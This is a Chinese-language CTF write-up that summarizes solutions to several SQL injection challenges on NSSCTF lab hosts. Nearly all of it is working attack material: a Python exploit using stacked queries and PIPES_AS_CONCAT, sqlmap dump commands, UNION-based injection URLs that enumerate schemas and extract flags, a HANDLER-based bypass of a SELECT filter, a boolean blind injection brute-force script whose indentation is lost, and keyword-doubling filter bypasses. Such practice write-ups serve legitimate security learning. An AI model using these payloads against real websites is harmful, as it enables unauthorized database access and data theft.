Web入门-SQL注入小结

做题

[suctf 2019]EasySQL

这题挺抽象的,正确解法是根据一段一段“Array([?]=>?)”的格式猜出有运算符“||”,然后改sql_mode使其成为字符串拼接运算符。

实际上这个后台语句为:

1
select $post['query']||flag from Flag

exp:

1
2
3
4
import requests
payload1={'query':'1;set sql_mode=PIPES_AS_CONCAT;select 1'}
response1=requests.post('http://node4.anna.nssctf.cn:28128/',data=payload1)
print(response1.text[-47:-2])

注意最后一个“1”不能换成字母,否则就和字符串“flag”拼接起来了,在这里是分别查询“1”和“flag”值的意思。

[SWPUCTF 2021 新生赛]erro

1
sqlmap -u http://node4.anna.nssctf.cn:28961/index.php?id=1 -D test_db -T test_tb -C flag --dump

[SWPUCTF 2021 新生赛]sql

爆列数:

1
2
http://node4.anna.nssctf.cn:28915/?wllm=1'order/**/by/**/3%23
http://node4.anna.nssctf.cn:28915/?wllm=1'order/**/by/**/3%23

爆列,当wllm为1时返回结果无法显示,选择-1查询不到,并找出select可用列:

1
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,3%23

爆库:

1
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,database()%23

爆表:

1
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

爆列:

1
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

爆flag:

1
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

一次只有20位,采取截断,一次一次输出:

1
2
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/test_db.LTLT_flag%23
http://node4.anna.nssctf.cn:28915/?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),40,20)/**/from/**/test_db.LTLT_flag%23

[LitCTF 2023]这是什么?SQL !注一下 !

sqlmap

[强网杯 2019]随便注

堆叠注入,过滤select,改用handler,语法为:

1
2
3
4
5
handler xxx open;
handler xxx read first;
handler xxx read next;
handler xxx read next [where ...];
handler xxx close;

payload:

1
2
3
4
http://node4.anna.nssctf.cn:28703/?inject=1';show+databases;#
http://node4.anna.nssctf.cn:28703/?inject=1';show+tables+from+supersqli;#
http://node4.anna.nssctf.cn:28703/?inject=1';show+columns+from+`1919810931114514`;#
http://node4.anna.nssctf.cn:28703/?inject=1';handler+`1919810931114514`+open+as+`a`;handler+`a`+read+next;#

[CISCN 2019华北Day2]Web1

布尔盲注,直接爆。

1
2
3
4
5
6
7
8
9
10
11
12
13
import string,requests
res=""
url="http://node4.anna.nssctf.cn:28385/index.php"
for i in range(1,60):
for j in string.printable:
sql='if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)'.format(i,ord(j))
post={"id":sql}
result=requests.post(url=url,data=post)
if 'Hello' in result.text:
res+=j
print(res)
else:
continue

[SWPUCTF 2022 新生赛]ez_sql

POST:

1
2
3
4
5
6
7
8
9
10
11
12
13
nss=1 #正确回显
nss=2 #错误无回显
nss=1'and 1=1# #发现过滤and
nss=1'aandnd 1=1# #发现过滤空格
nss=1'aandnd/**/1=1# #正确回显
nss=1'group/**/by/**/3# #有3个字段
nss=1'group/**/by/**/4# #有4个字段
nss=1'uniunionon/**/select/**/1,database(),2# #union绕过 发现信息被正确的踢了
nss=2'uniunionon/**/select/**/1,database(),2# #看到当前数据库名
nss=2'uniunionon/**/select/**/1,2,group_concat(schema_name)from/**/infoorrmation_schema.schemata# #爆所有库名 or被过滤
nss=2'uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'# #爆表名
nss=2'uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'# #爆列名
nss=2'uniunionon/**/select/**/1,Secr3t,flll444g/**/from/**/NSS_tb# #爆flag